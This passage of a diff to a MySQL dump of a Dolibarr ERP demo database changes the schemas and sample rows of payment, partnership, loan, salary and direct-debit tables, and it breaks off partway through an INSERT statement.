ENGINE=InnoDB AUTO_INCREMENT=50 DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; -- @@ -9548,7 +8823,7 @@ CREATE TABLE `llx_paiement_facture` ( LOCK TABLES `llx_paiement_facture` WRITE; /*!40000 ALTER TABLE `llx_paiement_facture` DISABLE KEYS */; -INSERT INTO `llx_paiement_facture` VALUES (3,3,2,10.00000000,0.00000000,NULL,1.00000000),(5,5,5,5.63000000,0.00000000,NULL,1.00000000),(6,6,6,5.98000000,0.00000000,NULL,1.00000000),(9,8,2,16.10000000,0.00000000,NULL,1.00000000),(10,8,8,10.00000000,0.00000000,NULL,1.00000000),(11,9,3,15.00000000,0.00000000,NULL,1.00000000),(12,9,9,11.96000000,0.00000000,NULL,1.00000000),(24,20,9,1.00000000,0.00000000,NULL,1.00000000),(31,26,32,600.00000000,0.00000000,NULL,1.00000000),(36,29,32,500.00000000,0.00000000,NULL,1.00000000),(37,30,32,400.00000000,0.00000000,NULL,1.00000000),(38,34,211,150.00000000,150.00000000,NULL,1.00000000),(39,35,211,140.00000000,140.00000000,NULL,1.00000000),(40,36,211,50.00000000,50.00000000,NULL,1.00000000),(42,38,149,10.00000000,10.00000000,NULL,1.00000000),(43,39,150,5.63000000,5.63000000,NULL,1.00000000),(44,40,224,20.50000000,20.50000000,NULL,1.00000000),(45,41,229,50.00000000,50.00000000,NULL,1.00000000),(46,42,230,50.00000000,50.00000000,NULL,1.00000000),(47,43,231,50.00000000,50.00000000,NULL,1.00000000); +INSERT INTO `llx_paiement_facture` VALUES (3,3,2,10.00000000,0.00000000,NULL,1.00000000),(5,5,5,5.63000000,0.00000000,NULL,1.00000000),(6,6,6,5.98000000,0.00000000,NULL,1.00000000),(9,8,2,16.10000000,0.00000000,NULL,1.00000000),(10,8,8,10.00000000,0.00000000,NULL,1.00000000),(11,9,3,15.00000000,0.00000000,NULL,1.00000000),(12,9,9,11.96000000,0.00000000,NULL,1.00000000),(24,20,9,1.00000000,0.00000000,NULL,1.00000000),(31,26,32,600.00000000,0.00000000,NULL,1.00000000),(36,29,32,500.00000000,0.00000000,NULL,1.00000000),(37,30,32,400.00000000,0.00000000,NULL,1.00000000),(38,34,211,150.00000000,150.00000000,NULL,1.00000000),(39,35,211,140.00000000,140.00000000,NULL,1.00000000),(40,36,211,50.00000000,50.00000000,NULL,1.00000000),(42,38,149,10.00000000,10.00000000,NULL,1.00000000),(43,39,150,5.63000000,5.63000000,NULL,1.00000000),(44,40,224,20.50000000,20.50000000,NULL,1.00000000),(45,41,229,50.00000000,50.00000000,NULL,1.00000000),(46,42,230,50.00000000,50.00000000,NULL,1.00000000),(47,43,231,50.00000000,50.00000000,NULL,1.00000000),(49,45,148,1.00000000,1.00000000,NULL,1.00000000); /*!40000 ALTER TABLE `llx_paiement_facture` ENABLE KEYS */; UNLOCK TABLES; @@ -9567,8 +8842,8 @@ CREATE TABLE `llx_paiementcharge` ( `datep` datetime DEFAULT NULL, `amount` double(24,8) DEFAULT NULL, `fk_typepaiement` int(11) NOT NULL, - `num_paiement` varchar(50) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `note` text COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `num_paiement` varchar(50) DEFAULT NULL, + `note` text DEFAULT NULL, `fk_bank` int(11) NOT NULL, `fk_user_creat` int(11) DEFAULT NULL, `fk_user_modif` int(11) DEFAULT NULL, @@ -9595,7 +8870,7 @@ DROP TABLE IF EXISTS `llx_paiementfourn`; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `llx_paiementfourn` ( `rowid` int(11) NOT NULL AUTO_INCREMENT, - `ref` varchar(30) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `ref` varchar(30) DEFAULT NULL, `entity` int(11) DEFAULT NULL, `tms` timestamp NOT NULL DEFAULT current_timestamp() ON UPDATE current_timestamp(), `datec` datetime DEFAULT NULL, @@ -9604,12 +8879,12 @@ CREATE TABLE `llx_paiementfourn` ( `fk_user_author` int(11) DEFAULT NULL, `fk_user_modif` int(11) DEFAULT NULL, `fk_paiement` int(11) NOT NULL, - `num_paiement` varchar(50) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `note` text COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `num_paiement` varchar(50) DEFAULT NULL, + `note` text DEFAULT NULL, `fk_bank` int(11) NOT NULL, `statut` smallint(6) NOT NULL DEFAULT 0, `multicurrency_amount` double(24,8) DEFAULT 0.00000000, - `model_pdf` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `model_pdf` varchar(255) DEFAULT NULL, PRIMARY KEY (`rowid`) ) ENGINE=InnoDB AUTO_INCREMENT=5 DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; @@ -9637,7 +8912,7 @@ CREATE TABLE `llx_paiementfourn_facturefourn` ( `fk_facturefourn` int(11) DEFAULT NULL, `amount` double DEFAULT 0, `multicurrency_amount` double(24,8) DEFAULT 0.00000000, - `multicurrency_code` varchar(3) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `multicurrency_code` varchar(3) DEFAULT NULL, `multicurrency_tx` double(24,8) DEFAULT 1.00000000, PRIMARY KEY (`rowid`), UNIQUE KEY `uk_paiementfourn_facturefourn` (`fk_paiementfourn`,`fk_facturefourn`), @@ -9665,28 +8940,30 @@ DROP TABLE IF EXISTS `llx_partnership`; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `llx_partnership` ( `rowid` int(11) NOT NULL AUTO_INCREMENT, - `ref` varchar(128) COLLATE utf8mb3_unicode_ci NOT NULL DEFAULT '(PROV)', + `ref` varchar(128) NOT NULL DEFAULT '(PROV)', `status` smallint(6) NOT NULL DEFAULT 0, `fk_soc` int(11) DEFAULT NULL, `fk_member` int(11) DEFAULT NULL, `date_partnership_start` date NOT NULL, `date_partnership_end` date DEFAULT NULL, `entity` int(11) NOT NULL DEFAULT 1, - `reason_decline_or_cancel` text COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `reason_decline_or_cancel` text DEFAULT NULL, `date_creation` datetime NOT NULL, - `fk_user_creat` int(11) NOT NULL, + `fk_user_creat` int(11) DEFAULT NULL, `tms` timestamp NOT NULL DEFAULT current_timestamp() ON UPDATE current_timestamp(), `fk_user_modif` int(11) DEFAULT NULL, - `note_private` text COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `note_public` text COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `last_main_doc` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `note_private` text DEFAULT NULL, + `note_public` text DEFAULT NULL, + `last_main_doc` varchar(255) DEFAULT NULL, `count_last_url_check_error` int(11) DEFAULT 0, - `import_key` varchar(14) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `model_pdf` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `import_key` varchar(14) DEFAULT NULL, + `model_pdf` varchar(255) DEFAULT NULL, `last_check_backlink` datetime DEFAULT NULL, `fk_type` int(11) NOT NULL DEFAULT 0, - `url_to_check` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `url_to_check` varchar(255) DEFAULT NULL, + `ip` varchar(250) DEFAULT NULL, PRIMARY KEY (`rowid`), + UNIQUE KEY `uk_partnership_ref` (`ref`,`entity`), UNIQUE KEY `uk_fk_type_fk_soc` (`fk_type`,`fk_soc`,`date_partnership_start`), UNIQUE KEY `uk_fk_type_fk_member` (`fk_type`,`fk_member`,`date_partnership_start`), KEY `idx_partnership_rowid` (`rowid`), @@ -9695,8 +8972,9 @@ CREATE TABLE `llx_partnership` ( KEY `llx_partnership_fk_user_creat` (`fk_user_creat`), KEY `idx_partnership_status` (`status`), KEY `idx_partnership_fk_member` (`fk_member`), + KEY `idx_partnership_entity` (`entity`), CONSTRAINT `llx_partnership_fk_user_creat` FOREIGN KEY (`fk_user_creat`) REFERENCES `llx_user` (`rowid`) -) ENGINE=InnoDB DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; +) ENGINE=InnoDB AUTO_INCREMENT=2 DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; -- @@ -9705,6 +8983,7 @@ CREATE TABLE `llx_partnership` ( LOCK TABLES `llx_partnership` WRITE; /*!40000 ALTER TABLE `llx_partnership` DISABLE KEYS */; +INSERT INTO `llx_partnership` VALUES (1,'PSHIP2302-0001',2,26,NULL,'2023-02-15','2023-03-01',1,NULL,'2023-02-15 08:19:48',12,'2023-02-26 00:09:00',12,NULL,NULL,NULL,NULL,NULL,NULL,NULL,2,'mmmmhh',NULL); /*!40000 ALTER TABLE `llx_partnership` ENABLE KEYS */; UNLOCK TABLES; @@ -9719,10 +8998,12 @@ CREATE TABLE `llx_partnership_extrafields` ( `rowid` int(11) NOT NULL AUTO_INCREMENT, `tms` timestamp NOT NULL DEFAULT current_timestamp() ON UPDATE current_timestamp(), `fk_object` int(11) NOT NULL, - `import_key` varchar(14) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `import_key` varchar(14) DEFAULT NULL, + `fdsf` varchar(255) DEFAULT NULL, PRIMARY KEY (`rowid`), - KEY `idx_partnership_fk_object` (`fk_object`) -) ENGINE=InnoDB DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; + KEY `idx_partnership_fk_object` (`fk_object`), + KEY `idx_partnership_extrafields` (`fk_object`) +) ENGINE=InnoDB AUTO_INCREMENT=13 DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; -- @@ -9731,6 +9012,7 @@ CREATE TABLE `llx_partnership_extrafields` ( LOCK TABLES `llx_partnership_extrafields` WRITE; /*!40000 ALTER TABLE `llx_partnership_extrafields` DISABLE KEYS */; +INSERT INTO `llx_partnership_extrafields` VALUES (12,'2023-03-01 17:03:46',1,NULL,'hhh'); /*!40000 ALTER TABLE `llx_partnership_extrafields` ENABLE KEYS */; UNLOCK TABLES; @@ -9749,10 +9031,10 @@ CREATE TABLE `llx_payment_donation` ( `datep` datetime DEFAULT NULL, `amount` double(24,8) DEFAULT NULL, `fk_typepayment` int(11) NOT NULL, - `num_payment` varchar(50) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `note` text COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `ext_payment_id` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `ext_payment_site` varchar(128) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `num_payment` varchar(50) DEFAULT NULL, + `note` text DEFAULT NULL, + `ext_payment_id` varchar(255) DEFAULT NULL, + `ext_payment_site` varchar(128) DEFAULT NULL, `fk_bank` int(11) NOT NULL, `fk_user_creat` int(11) DEFAULT NULL, `fk_user_modif` int(11) DEFAULT NULL, @@ -9785,8 +9067,8 @@ CREATE TABLE `llx_payment_expensereport` ( `datep` datetime DEFAULT NULL, `amount` double(24,8) DEFAULT NULL, `fk_typepayment` int(11) NOT NULL, - `num_payment` varchar(50) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `note` text COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `num_payment` varchar(50) DEFAULT NULL, + `note` text DEFAULT NULL, `fk_bank` int(11) NOT NULL, `fk_user_creat` int(11) DEFAULT NULL, `fk_user_modif` int(11) DEFAULT NULL, @@ -9821,14 +9103,14 @@ CREATE TABLE `llx_payment_loan` ( `amount_insurance` double(24,8) DEFAULT NULL, `amount_interest` double(24,8) DEFAULT NULL, `fk_typepayment` int(11) NOT NULL, - `num_payment` varchar(50) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `note_private` text COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `note_public` text COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `num_payment` varchar(50) DEFAULT NULL, + `note_private` text DEFAULT NULL, + `note_public` text DEFAULT NULL, `fk_bank` int(11) NOT NULL, `fk_user_creat` int(11) DEFAULT NULL, `fk_user_modif` int(11) DEFAULT NULL, PRIMARY KEY (`rowid`) -) ENGINE=InnoDB DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; +) ENGINE=InnoDB AUTO_INCREMENT=4 DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; -- @@ -9837,6 +9119,7 @@ CREATE TABLE `llx_payment_loan` ( LOCK TABLES `llx_payment_loan` WRITE; /*!40000 ALTER TABLE `llx_payment_loan` DISABLE KEYS */; +INSERT INTO `llx_payment_loan` VALUES (1,3,'2023-02-16 07:59:23','2023-02-16 10:59:23','2023-02-16 12:00:00',1.00000000,2.00000000,3.00000000,2,'0','','',58,12,NULL),(2,3,'2023-02-16 08:19:44','2023-02-16 11:19:44','2023-02-16 12:00:00',2.00000000,2.00000000,2.00000000,6,'0','','',59,12,NULL),(3,3,'2023-02-16 08:20:12','2023-02-16 11:20:12','2023-02-16 12:00:00',2.00000000,2.00000000,2.00000000,2,'0','','',61,12,NULL); /*!40000 ALTER TABLE `llx_payment_loan` ENABLE KEYS */; UNLOCK TABLES; @@ -9849,7 +9132,7 @@ DROP TABLE IF EXISTS `llx_payment_salary`; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `llx_payment_salary` ( `rowid` int(11) NOT NULL AUTO_INCREMENT, - `ref` varchar(30) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `ref` varchar(30) DEFAULT NULL, `tms` timestamp NOT NULL DEFAULT current_timestamp() ON UPDATE current_timestamp(), `datec` datetime DEFAULT NULL, `fk_user` int(11) DEFAULT NULL, @@ -9859,12 +9142,12 @@ CREATE TABLE `llx_payment_salary` ( `amount` double(24,8) DEFAULT NULL, `fk_projet` int(11) DEFAULT NULL, `fk_typepayment` int(11) NOT NULL, - `num_payment` varchar(50) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `label` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `num_payment` varchar(50) DEFAULT NULL, + `label` varchar(255) DEFAULT NULL, `datesp` date DEFAULT NULL, `dateep` date DEFAULT NULL, `entity` int(11) NOT NULL DEFAULT 1, - `note` text COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `note` text DEFAULT NULL, `fk_bank` int(11) DEFAULT NULL, `fk_user_author` int(11) DEFAULT NULL, `fk_user_modif` int(11) DEFAULT NULL, @@ -9876,7 +9159,7 @@ CREATE TABLE `llx_payment_salary` ( KEY `idx_payment_salary_datesp` (`datesp`), KEY `idx_payment_salary_dateep` (`dateep`), CONSTRAINT `fk_payment_salary_user` FOREIGN KEY (`fk_user`) REFERENCES `llx_user` (`rowid`) -) ENGINE=InnoDB AUTO_INCREMENT=2 DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; +) ENGINE=InnoDB AUTO_INCREMENT=5 DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; -- @@ -9885,36 +9168,10 @@ CREATE TABLE `llx_payment_salary` ( LOCK TABLES `llx_payment_salary` WRITE; /*!40000 ALTER TABLE `llx_payment_salary` DISABLE KEYS */; -INSERT INTO `llx_payment_salary` VALUES (1,'1','2021-04-15 10:22:55','2019-10-08 13:18:50',19,'2019-10-08','2019-10-08',2700.00000000,1000.00000000,0,2,'','Salary payment','2019-09-01','2019-09-30',1,NULL,42,12,NULL,1); +INSERT INTO `llx_payment_salary` VALUES (1,'1','2021-04-15 10:22:55','2019-10-08 13:18:50',19,'2019-10-08','2019-10-08',2700.00000000,1000.00000000,0,2,'','Salary payment','2019-09-01','2019-09-30',1,NULL,42,12,NULL,1),(4,NULL,'2023-01-06 15:36:21','2023-01-06 12:36:21',NULL,'2023-01-06',NULL,NULL,100.00000000,NULL,6,'',NULL,NULL,NULL,1,'',56,12,NULL,4); /*!40000 ALTER TABLE `llx_payment_salary` ENABLE KEYS */; UNLOCK TABLES; --- --- Table structure for table `llx_payment_salary_extrafields` --- - -DROP TABLE IF EXISTS `llx_payment_salary_extrafields`; -/*!40101 SET @saved_cs_client = @@character_set_client */; -/*!40101 SET character_set_client = utf8 */; -CREATE TABLE `llx_payment_salary_extrafields` ( - `rowid` int(11) NOT NULL AUTO_INCREMENT, - `tms` timestamp NOT NULL DEFAULT current_timestamp() ON UPDATE current_timestamp(), - `fk_object` int(11) NOT NULL, - `import_key` varchar(14) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - PRIMARY KEY (`rowid`), - KEY `idx_payment_salary_extrafields` (`fk_object`) -) ENGINE=InnoDB DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; -/*!40101 SET character_set_client = @saved_cs_client */; - --- --- Dumping data for table `llx_payment_salary_extrafields` --- - -LOCK TABLES `llx_payment_salary_extrafields` WRITE; -/*!40000 ALTER TABLE `llx_payment_salary_extrafields` DISABLE KEYS */; -/*!40000 ALTER TABLE `llx_payment_salary_extrafields` ENABLE KEYS */; -UNLOCK TABLES; - -- -- Table structure for table `llx_payment_various` -- @@ -9924,7 +9181,7 @@ DROP TABLE IF EXISTS `llx_payment_various`; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `llx_payment_various` ( `rowid` int(11) NOT NULL AUTO_INCREMENT, - `ref` varchar(30) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `ref` varchar(30) DEFAULT NULL, `tms` timestamp NOT NULL DEFAULT current_timestamp() ON UPDATE current_timestamp(), `datec` datetime DEFAULT NULL, `datep` date DEFAULT NULL, @@ -9932,16 +9189,16 @@ CREATE TABLE `llx_payment_various` ( `sens` smallint(6) NOT NULL DEFAULT 0, `amount` double(24,8) NOT NULL DEFAULT 0.00000000, `fk_typepayment` int(11) NOT NULL, - `num_payment` varchar(50) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `label` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `accountancy_code` varchar(32) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `num_payment` varchar(50) DEFAULT NULL, + `label` varchar(255) DEFAULT NULL, + `accountancy_code` varchar(32) DEFAULT NULL, `fk_projet` int(11) DEFAULT NULL, `entity` int(11) NOT NULL DEFAULT 1, - `note` text COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `note` text DEFAULT NULL, `fk_bank` int(11) DEFAULT NULL, `fk_user_author` int(11) DEFAULT NULL, `fk_user_modif` int(11) DEFAULT NULL, - `subledger_account` varchar(32) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `subledger_account` varchar(32) DEFAULT NULL, PRIMARY KEY (`rowid`) ) ENGINE=InnoDB AUTO_INCREMENT=5 DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; @@ -9971,8 +9228,8 @@ CREATE TABLE `llx_payment_vat` ( `datep` datetime DEFAULT NULL, `amount` double(24,8) DEFAULT 0.00000000, `fk_typepaiement` int(11) NOT NULL, - `num_paiement` varchar(50) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `note` text COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `num_paiement` varchar(50) DEFAULT NULL, + `note` text DEFAULT NULL, `fk_bank` int(11) NOT NULL, `fk_user_creat` int(11) DEFAULT NULL, `fk_user_modif` int(11) DEFAULT NULL, @@ -9999,8 +9256,8 @@ DROP TABLE IF EXISTS `llx_pos_cash_fence`; CREATE TABLE `llx_pos_cash_fence` ( `rowid` int(11) NOT NULL AUTO_INCREMENT, `entity` int(11) NOT NULL DEFAULT 1, - `ref` varchar(64) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `label` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `ref` varchar(64) DEFAULT NULL, + `label` varchar(255) DEFAULT NULL, `opening` double(24,8) DEFAULT 0.00000000, `cash` double(24,8) DEFAULT 0.00000000, `card` double(24,8) DEFAULT 0.00000000, @@ -10011,12 +9268,12 @@ CREATE TABLE `llx_pos_cash_fence` ( `day_close` int(11) DEFAULT NULL, `month_close` int(11) DEFAULT NULL, `year_close` int(11) DEFAULT NULL, - `posmodule` varchar(30) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `posnumber` varchar(30) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `posmodule` varchar(30) DEFAULT NULL, + `posnumber` varchar(30) DEFAULT NULL, `fk_user_creat` int(11) DEFAULT NULL, `fk_user_valid` int(11) DEFAULT NULL, `tms` timestamp NOT NULL DEFAULT current_timestamp() ON UPDATE current_timestamp(), - `import_key` varchar(14) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `import_key` varchar(14) DEFAULT NULL, PRIMARY KEY (`rowid`) ) ENGINE=InnoDB AUTO_INCREMENT=2 DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; @@ -10031,6 +9288,35 @@ INSERT INTO `llx_pos_cash_fence` VALUES (1,1,'1',NULL,-324.29000000,400.00000000 /*!40000 ALTER TABLE `llx_pos_cash_fence` ENABLE KEYS */; UNLOCK TABLES; +-- +-- Table structure for table `llx_prelevement` +-- + +DROP TABLE IF EXISTS `llx_prelevement`; +/*!40101 SET @saved_cs_client = @@character_set_client */; +/*!40101 SET character_set_client = utf8 */; +CREATE TABLE `llx_prelevement` ( + `rowid` int(11) NOT NULL AUTO_INCREMENT, + `fk_facture` int(11) DEFAULT NULL, + `fk_prelevement_lignes` int(11) NOT NULL, + `fk_facture_fourn` int(11) DEFAULT NULL, + `fk_salary` int(11) DEFAULT NULL, + PRIMARY KEY (`rowid`), + KEY `idx_prelevement_fk_prelevement_lignes` (`fk_prelevement_lignes`), + CONSTRAINT `fk_prelevement_fk_prelevement_lignes` FOREIGN KEY (`fk_prelevement_lignes`) REFERENCES `llx_prelevement_lignes` (`rowid`) +) ENGINE=InnoDB AUTO_INCREMENT=2 DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; +/*!40101 SET character_set_client = @saved_cs_client */; + +-- +-- Dumping data for table `llx_prelevement` +-- + +LOCK TABLES `llx_prelevement` WRITE; +/*!40000 ALTER TABLE `llx_prelevement` DISABLE KEYS */; +INSERT INTO `llx_prelevement` VALUES (1,211,1,NULL,NULL); +/*!40000 ALTER TABLE `llx_prelevement` ENABLE KEYS */; +UNLOCK TABLES; + -- -- Table structure for table `llx_prelevement_bons` -- @@ -10040,19 +9326,20 @@ DROP TABLE IF EXISTS `llx_prelevement_bons`; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `llx_prelevement_bons` ( `rowid` int(11) NOT NULL AUTO_INCREMENT, - `ref` varchar(12) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `ref` varchar(12) DEFAULT NULL, `entity` int(11) NOT NULL DEFAULT 1, `datec` datetime DEFAULT NULL, `amount` double(24,8) DEFAULT NULL, `statut` smallint(6) DEFAULT 0, `credite` smallint(6) DEFAULT 0, - `note` text COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `note` text DEFAULT NULL, `date_trans` datetime DEFAULT NULL, `method_trans` smallint(6) DEFAULT NULL, `fk_user_trans` int(11) DEFAULT NULL, `date_credit` datetime DEFAULT NULL, `fk_user_credit` int(11) DEFAULT NULL, - `type` varchar(16) COLLATE utf8mb3_unicode_ci DEFAULT 'debit-order', + `type` varchar(16) DEFAULT 'debit-order', + `fk_bank_account` int(11) DEFAULT NULL, PRIMARY KEY (`rowid`), UNIQUE KEY `uk_prelevement_bons_ref` (`ref`,`entity`) ) ENGINE=InnoDB AUTO_INCREMENT=2 DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; @@ -10064,46 +9351,18 @@ CREATE TABLE `llx_prelevement_bons` ( LOCK TABLES `llx_prelevement_bons` WRITE; /*!40000 ALTER TABLE `llx_prelevement_bons` DISABLE KEYS */; -INSERT INTO `llx_prelevement_bons` VALUES (1,'T170201',1,'2017-02-21 15:53:46',50.00000000,2,0,NULL,'2017-02-21 12:00:00',0,12,'2017-02-21 12:00:00',12,'debit-order'); +INSERT INTO `llx_prelevement_bons` VALUES (1,'T170201',1,'2017-02-21 15:53:46',50.00000000,2,0,NULL,'2017-02-21 12:00:00',0,12,'2017-02-21 12:00:00',12,'debit-order',NULL); /*!40000 ALTER TABLE `llx_prelevement_bons` ENABLE KEYS */; UNLOCK TABLES; -- --- Table structure for table `llx_prelevement_facture` +-- Table structure for table `llx_prelevement_demande` -- -DROP TABLE IF EXISTS `llx_prelevement_facture`; +DROP TABLE IF EXISTS `llx_prelevement_demande`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!40101 SET character_set_client = utf8 */; -CREATE TABLE `llx_prelevement_facture` ( - `rowid` int(11) NOT NULL AUTO_INCREMENT, - `fk_facture` int(11) DEFAULT NULL, - `fk_prelevement_lignes` int(11) NOT NULL, - `fk_facture_fourn` int(11) DEFAULT NULL, - PRIMARY KEY (`rowid`), - KEY `idx_prelevement_facture_fk_prelevement_lignes` (`fk_prelevement_lignes`), - CONSTRAINT `fk_prelevement_facture_fk_prelevement_lignes` FOREIGN KEY (`fk_prelevement_lignes`) REFERENCES `llx_prelevement_lignes` (`rowid`) -) ENGINE=InnoDB AUTO_INCREMENT=2 DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; -/*!40101 SET character_set_client = @saved_cs_client */; - --- --- Dumping data for table `llx_prelevement_facture` --- - -LOCK TABLES `llx_prelevement_facture` WRITE; -/*!40000 ALTER TABLE `llx_prelevement_facture` DISABLE KEYS */; -INSERT INTO `llx_prelevement_facture` VALUES (1,211,1,NULL); -/*!40000 ALTER TABLE `llx_prelevement_facture` ENABLE KEYS */; -UNLOCK TABLES; - --- --- Table structure for table `llx_prelevement_facture_demande` --- - -DROP TABLE IF EXISTS `llx_prelevement_facture_demande`; -/*!40101 SET @saved_cs_client = @@character_set_client */; -/*!40101 SET character_set_client = utf8 */; -CREATE TABLE `llx_prelevement_facture_demande` ( +CREATE TABLE `llx_prelevement_demande` ( `rowid` int(11) NOT NULL AUTO_INCREMENT, `fk_facture` int(11) DEFAULT NULL, `amount` double(24,8) DEFAULT NULL, @@ -10112,29 +9371,30 @@ CREATE TABLE `llx_prelevement_facture_demande` ( `date_traite` datetime DEFAULT NULL, `fk_prelevement_bons` int(11) DEFAULT NULL, `fk_user_demande` int(11) NOT NULL, - `code_banque` varchar(128) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `code_guichet` varchar(6) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `number` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `cle_rib` varchar(5) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `code_banque` varchar(128) DEFAULT NULL, + `code_guichet` varchar(6) DEFAULT NULL, + `number` varchar(255) DEFAULT NULL, + `cle_rib` varchar(5) DEFAULT NULL, `entity` int(11) DEFAULT NULL, - `sourcetype` varchar(32) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `ext_payment_id` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `ext_payment_site` varchar(128) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `sourcetype` varchar(32) DEFAULT NULL, + `ext_payment_id` varchar(255) DEFAULT NULL, + `ext_payment_site` varchar(128) DEFAULT NULL, `fk_facture_fourn` int(11) DEFAULT NULL, + `fk_salary` int(11) DEFAULT NULL, PRIMARY KEY (`rowid`), - KEY `idx_prelevement_facture_demande_fk_facture` (`fk_facture`), - KEY `idx_prelevement_facture_demande_fk_facture_fourn` (`fk_facture_fourn`) -) ENGINE=InnoDB AUTO_INCREMENT=10 DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; + KEY `idx_prelevement_demande_fk_facture` (`fk_facture`), + KEY `idx_prelevement_demande_fk_facture_fourn` (`fk_facture_fourn`) +) ENGINE=InnoDB AUTO_INCREMENT=13 DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; -- --- Dumping data for table `llx_prelevement_facture_demande` +-- Dumping data for table `llx_prelevement_demande` -- -LOCK TABLES `llx_prelevement_facture_demande` WRITE; -/*!40000 ALTER TABLE `llx_prelevement_facture_demande` DISABLE KEYS */; -INSERT INTO `llx_prelevement_facture_demande` VALUES (1,211,50.00000000,'2017-02-06 08:11:17',1,'2017-02-21 15:53:46',1,12,'','','','',NULL,NULL,NULL,NULL,NULL),(2,5,NULL,'2020-01-01 14:35:21',0,NULL,NULL,0,NULL,NULL,NULL,NULL,1,'member','pi_1Fw4XtGr4FnPvt5gmHCi23hC','StripeTest',NULL),(3,6,NULL,'2020-01-01 14:50:42',0,NULL,NULL,0,NULL,NULL,NULL,NULL,1,'member','pi_1Fw4mkGr4FnPvt5gaMAjhU23','StripeTest',NULL),(4,7,NULL,'2020-01-01 14:59:09',0,NULL,NULL,0,NULL,NULL,NULL,NULL,1,'member','pi_1Fw4uvGr4FnPvt5gPJHfyUQt','StripeTest',NULL),(5,8,NULL,'2020-01-01 15:08:10',0,NULL,NULL,0,NULL,NULL,NULL,NULL,1,'member','pi_1Fw53eGr4FnPvt5gY0i3EWWR','StripeTest',NULL),(6,9,NULL,'2020-01-01 15:27:14',0,NULL,NULL,0,NULL,NULL,NULL,NULL,1,'member','pi_1Fw5M6Gr4FnPvt5gyICZxNY7','StripeTest',NULL),(7,10,NULL,'2020-01-01 